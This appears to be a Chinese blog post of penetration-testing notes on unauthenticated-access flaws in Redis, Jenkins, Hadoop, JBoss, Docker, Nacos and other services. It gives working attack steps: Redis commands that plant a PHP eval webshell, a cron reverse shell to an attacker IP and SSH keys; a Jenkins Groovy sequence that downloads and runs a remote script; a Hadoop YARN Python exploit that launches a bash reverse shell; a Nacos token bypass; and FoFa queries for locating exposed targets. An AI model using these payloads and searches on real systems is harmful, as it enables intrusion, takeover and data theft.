当前位置: 首页 > article >正文

4.1_未授权漏洞

  • 未授权漏洞


  1. 成因:配置错误,默认口令(弱口令),接口配置不当;
  2. 未授权漏洞
漏洞利用方式

Redis 未授权访问漏洞

 
Getshell方式
  1. 写入webshell;
    1. 连接目标redis:redis-cli -h 192.168.7.146 -p 6379
    2. 设置保存目录:config set dir /var/www/html
    3. 设置保存文件名 config set dbfilename test.php
    4. 设置信息:set web "\r\n\r\n<?php @eval($_POST[cmd]); ?>\r\n\r\n"
    5. 保存: save
    6. URL 拼接访问 test.php
  2. 计划任务反弹 shell; ( 计划任务路径:/var/spool/cron/ )
    1. 连接目标redis:redis-cli -h 192.168.7.146 -p 6379
    2. 设置保存目录(写入计划任务):config set dir /var/spool/cron/
    3. 设置保存文件名:config set dbfilename root 
    4. 设置反弹的IP和端口:set xx "\n* * * * * bash -i >& /dev/tcp/192.168.7.229/4444 0>&1\n" 
    5. 保存:save 
    6. 本机监听 4444 端口,等待反弹shel :nc lvnp 4444 
  3. 写入 SSH 公钥;
    1. 用户本机生成公私钥(选项默认即可):

      ssh-keygen -t rsa

    2. 进入 /root/.ssh/ 目录 (需管理员权限);
    3. 将公钥保存到 redis_rsa.txt(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis_rsa.txt
    4. 将保存的公钥,写入目标机器:cat redis_rsa.txt | redis-cli -h 192.168.7.146 -x set crack
    5. 查看是否存在 /root/.ssh
      1. config set dir /root/.ssh
      2. config set dbfilename authorized_keys
      3. save 
    6. 尝试连接:
      1. cd .ssh
      2. ssh -i id_rsa root@192.168.7.146
    7. 利用工具 redis-rogue-server.py:
      1. 语句: python redis-rogue-server.py --rhost 192.168.7.146 --rport 6379 --lhost 192.168.7.229
  4. 主从复制;
  5. 沙盒命令执行;
FoFa 语句port="6379" && protocol="redis"

Rsync 未授权访问漏洞

利用方式-任意文件下载/上传
  1. nmap扫描端口发现 Rsync 服务(873端口)
  2. 列出同步目录:rsync rsync://192.168.7.10:873
  3. 列出模块下文件: rsync rsync://192.168.7.10:873/debiancn
  4. 下载任意文件:
    1. rsync rsync://192.168.7.10:873/debiancn
    2. rsync rsync://192.168.7.10:873/debiancn/a.txz/home/kali/Desktop/a.txz
  5. 上传任意文件:rsync 本地文件 192.168.7.185::上传目录位置

FoFa 语句

(port="873") && (is_honeypot=false && is_fraud=false)

Springboot actuator未授权访问

利用方式—敏感信息泄露
  1. /env 显示环境变量信息;
  2. /info 显示应用信息;
  3. /dump 显示转储信息;
  4. /headdump 显示内存信息;
FoFa 语句

(icon_hash="116323821") && (is_honeypot=false && is_fraud=false) && port="9001" && title=="RocketMg-console-ng"

Swagger-UI未授权访问

利用方式- 接口爆破
  1. 通过遍历接口字典,寻找未授权访问
    /api
    /api-docs
    /api-docs/swagger.json
    /api.html
    /api/api-docs
    /api/apidocs
    /api/doc
    /api/swagger
    /api/swagger-ui
    /api/swagger-ui.html
    /api/swagger-ui.html/
    /api/swagger-ui.json
    /api/swagger.json
    /api/swagger/
    /api/swagger/ui
    /api/swagger/ui/
    /api/swaggerui
    /api/swaggerui/
    /api/v1/
    /api/v1/api-docs
    /api/v1/apidocs
    /api/v1/swagger
    /api/v1/swagger-ui
    /api/v1/swagger-ui.html
    /api/v1/swagger-ui.json
    /api/v1/swagger.json
    /api/v1/swagger/
    /api/v2
    /api/v2/api-docs
    /api/v2/apidocs
    /api/v2/swagger
    /api/v2/swagger-ui
    /api/v2/swagger-ui.html
    /api/v2/swagger-ui.json
    /api/v2/swagger.json
    /api/v2/swagger/
    /api/v3
    /apidocs
    /apidocs/swagger.json
    /doc.html
    /docs/
    /druid/index.html
    /graphql
    /libs/swaggerui
    /libs/swaggerui/
    /spring-security-oauth-resource/swagger-ui.html
    /spring-security-rest/api/swagger-ui.html
    /sw/swagger-ui.html
    /swagger
    /swagger-resources
    /swagger-resources/configuration/security
    /swagger-resources/configuration/security/
    /swagger-resources/configuration/ui
    /swagger-resources/configuration/ui/
    /swagger-ui
    /swagger-ui.html
    /swagger-ui.html#/api-memory-controller
    /swagger-ui.html/
    /swagger-ui.json
    /swagger-ui/swagger.json
    /swagger.json
    /swagger.yml
    /swagger/
    /swagger/index.html
    /swagger/static/index.html
    /swagger/swagger-ui.html
    /swagger/ui/
    /Swagger/ui/index
    /swagger/ui/index
    /swagger/v1/swagger.json
    /swagger/v2/swagger.json
    /template/swagger-ui.html
    /user/swagger-ui.html
    /user/swagger-ui.html/
    /v1.x/swagger-ui.html
    /v1/api-docs
    /v1/swagger.json
    /v2/api-docs
    /v3/api-docs
FoFa 语句title="Swagger UI"

JBOSS 未授权访问

利用方式——后台部署war包getshell
  1. /jmx-console/ 无需登录进入后台,例:http://127.0.0.1:8080/jmx-console/
  2. 找到 jboss.deployment 进入应用部署页面,部署war包
  3. 参考链接:JBoss未授权访问漏洞Getshell过程复现_jobss 5.0.1 getshell-CSDN博客
FoFa 语句(title="Welcome to JBoss™") && (is_honeypot=false && is_fraud=false)

Jenkins 未授权访问漏洞

利用方式-执行系统命令

(举例:反弹shell)

  1. 无需密码登录后台,找到执行语句的功能点
  2. 监听:nc -lvnp 4444
  3. 上传反弹shell语句文件到VPS;
  4. VPS 启动 HTTP 服务:python -m SimpleHTTPServer 8080 (我这里是python2.x版本的,3.x版本的更换一下命令)
  5. 命令执行框远程下载下载:println "wget http://192.168.7.10:8080/1.sh".execute().text
  6. 修改下载文件权限:println "chmod +x 1.sh".execute().text
  7. 执行:println "./1.sh".execute().text
  8. 查看监听的VPS 是否反弹到shell;

FoFa 语句

(port="8080" && app="jenkins" && app="jenkins")&&(is_honeypot=false && is_fraud=false) && title=="Dashboard [Jenkins]"

Hadoop 末授权访问漏洞

利用方式-后台执行exp反弹shell
  1. 访问 /cluster,例:http://192.168.7.10:8088/cluster
  2. 在本地监听端口 > 创建Application > 调用Submit Application API提交
  3. 执行exp脚本  ↓
    # python脚本
     
    import requests
    import sys
     
    target = 'http://192.168.49.134:8088'	# 目标机ip
    lhost = '192.168.49.132' 		# 将你的本地ip填在这里,使用nc监听555端口 
     
    target = sys.argv[1]
    #lhost = sys.argv[2]
     
    url = target + '/ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    app_id = resp.json()['application-id']
    url = target + '/ws/v1/cluster/apps'
    data = {
        'application-id': app_id,
        'application-name': 'get-shell',
        'am-container-spec': {
            'commands': {           # 可以在这里该监听端口↓
                'command': '/bin/bash -i >& /dev/tcp/%s/555 0>&1' % lhost,  
            },
        },
        'application-type': 'YARN',
    }
    requests.post(url, json=data)r

FoFa 语句

port="8080"&& app="Hadoop"

Memcached 未授权访问漏洞

利用方式-敏感信息泄露
  1. telnet探测:
    1. telnet IP 11211,例:telnet 192.168.7.10 11211
    2. 连接后查看memcache服务信息:stats
  2. nmap -p 11211 --script memcached-info IP

FoFa 语句

app="Memcached"

Elasticsearch 未授权访问漏洞

利用方式-敏感信息泄露
  1. /_plugin/head/  web 管理界面
  2. /_cat/indices 所有索引的元数据信息
  3. /_river/_search 查看数据库的敏感信息
  4. /_nodes 查看节点数据

FoFa 语句

("ELasticsearch"&&port="9200")&&(is_honeypot=false && is_fraud=false)

Kibana 未授权访问漏洞

利用方式-未授权访问
  1. /app/kbana#/ ,例:http://192.168.7.10:5601/app/kibana#/
  2. 无需账号密码就可以登录进入页面

FoFa 语句

("kibana" && port ="5601") && (is_honeypot=false && is_fraud=false)

Docker Remote API 未授权访问漏洞

利用方式-敏感信息泄露
  1. 浏览器访问:
    1. http://ip:2375/version
    2. http://ip:2375/info
    3. 例:http://192.168.7.10:2375/version
  2. docker 访问:
    1. docker -H tcp://192.168.7.10:2375 ps -a

FoFa 语句

(port="2375") && (is_honeypot=false && is_fraud=false)

Kubernetes Api Server 未授权访问漏洞

利用方式-敏感信息泄露
  1. 浏览器直接访问ip的8080服务,会返回API列表;
  2. 例:http://192.168.7.10:8080/
  3. 再添加 /ui 后缀,会跳转到 dashboard 页面,可以创建,修改,删除,查看日志等;

FoFa 语句

(port="8080"&& app="Kubernetes") && (is_honeypot=false && is_fraud=false)

ActiveMQ 未授权访问漏洞

利用方式-弱口令
  1. :8186/admin/(默认8186端口),默认账户密码都是 admin,访问登录成功即可

FoFa 语句

(body="ActiveMQ" && port="8161" && country="CN") && (is_honeypot=false && is_fraud=false)

RabbitMQ 未授权访问漏洞

利用方式-弱口令
  1. 替换为下列端口,可以访问,不行的加/#/试试,默认账号密码都是 guest

FoFa 语句

  1. port="15672" || port="15692" || port="25672"
  2. icon_hash="-1015107330" 

FTP 未授权访问漏洞

利用方式-空密码
  1. 文件夹输入cmd,进入命令执行环境;
  2. 由于其开启了匿名登录,所以可以直接连接,格式:ftp://ip:端口
  3. 例:ftp://192.168.7.10

FoFa 语句

port="21"

VNC 未授权访问漏洞

利用方式-空密码
  1. kali 执行: vncviewer [IP] 
  2. 例:vncviewer 192.168.7.10,出现其他用户界面即存在

FoFa 语句

(port="5900") && (is_honeypot=false && is_fraud=false) && product="VNC"

dubbo 未授权访问漏洞

利用方式-telnet连接服务,执行特定命令
  1. telent [IP] [Port];
  2. 例:telent 192.168.7.10 20894
  3. 执行后,连接到dubbo服务,执行命令(help查看可执行的命令)

FoFa 语句

(app="APACHE-dubbo") &&(is_honeypot=false && is_fraud=false)

Atlassian Crowd 未授权访问漏洞

利用方式-拼接后缀查看响应
  1. 访问:网站/crowd/admin/uploadplugin.action
  2. 例:http://192.168.7.10:8095/crowd/admin/uploadplugin.action
  3. 响应400则存在该漏洞;

FoFa 语句

"Atlassian-Crowd" && port="8095"

Jupyter Notebook未授权访问漏洞

利用方式 - 未授权访问直接访问URL 会直接跳到 web 管理界面(无需输入密码)
 FoFa 语句("Jupyter Notebook" && port="8888") && (is_honeypot=false $$ is_fraud=false)

Mongodb 未授权访问漏洞

利用方式-空密码
  1. 访问可以直接连接数据库(空口令);
  2. nmap验证:nmap -p 27017 --script mongodb-info 192.168.7.10
FoFa 语句product="MongoDB-数据库"&& port="27017" && country≠"CN"

Nacos未授权漏洞 (端口8848)

利用方式
CVE-2021-29441 
  1. 影响版本 Nacos ≤  2.0.0-ALPHA.1
  2. 查看用户列表 /nacos/v1/auth/users?pageNo=1&pageSize=1
  3. POST请求方式访问:/nacos/v1/auth/users
  4. 添加POST参数:username=demo&password=demo
  5. 修改UA为:Nacos-Server
  6. 访问登录页面:ip:8848/nacos/#/login
  7. 尝试使用创建的demo用户登录
  8. PS:查看创建的用户:/nacos/v1/auth/users?pageNo=1&pageSize=1&search=blur
nacos身份绕过漏洞
  1. 影响版本 0.1.0 ≤ Nacos ≤ 2.2.0
  2. 访问登录页面:ip:8848/nacos/#/login
  3. 拦截登录请求的数据包
  4. 尝试修改数据包内容,如添加或修改Authorization头部,以伪造有效的认证信息,示例:
    HTTP/1.1 200
    Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
    Content-Type: application/json;charset=UTF-8
    Content-Length: 13
    Date: Wed, 24 Jan 2024 14:50:11 GMT
    
    {
     "accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
     "tokenTtl": 18000,
     "globalAdmin": false,
     "username": "nacos"
    }
  5. 成功登录后台
FoFa 语句title="Swagger UI"
影响版本Nacos ≤ 2.0.0-ALPHA.1

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!


http://www.kler.cn/a/408220.html

相关文章:

  • 数据库-基础理论
  • 【探寻密码的奥秘】-001:解开密码的神秘面纱
  • 搜索引擎中广泛使用的文档排序算法——BM25(Best Matching 25)
  • Android 常用命令和工具解析之内存相关
  • 神经网络中常用的激活函数(公式 + 函数图像)
  • 创建可重用React组件的实用指南
  • DataGrip 连接 Redis、TongRDS
  • 【FPGA-MicroBlaze】串口收发以及相关函数讲解
  • docker搭建私有的仓库
  • Python和R基因组及蛋白质组学和代谢组学
  • Java技术分享
  • 运维Tips:Docker或K8s集群拉取Harbor私有容器镜像仓库配置指南
  • 《泰拉瑞亚》PC+手机版安装教程
  • ubuntu 安装 yum 无法定位问题
  • 云计算-华为HCIA-学习笔记
  • 经验笔记:Git 中的远程仓库链接及上下游关系管理
  • mybatis学习(一)
  • Transformer详解及衍生模型GPT|T5|LLaMa
  • 写时复制,读时加载
  • 从零开始学习数据库 day0(基础)
  • JavaEE-线程安全专题
  • Tessy学习笔记—一些零散知识点
  • 昇腾CANN环境下Whisper.cpp安装指南
  • Windows 软件之 FFmpeg
  • Pytorch使用手册-Save and Load the Model(专题八)
  • 亚太杯数学建模竞赛介绍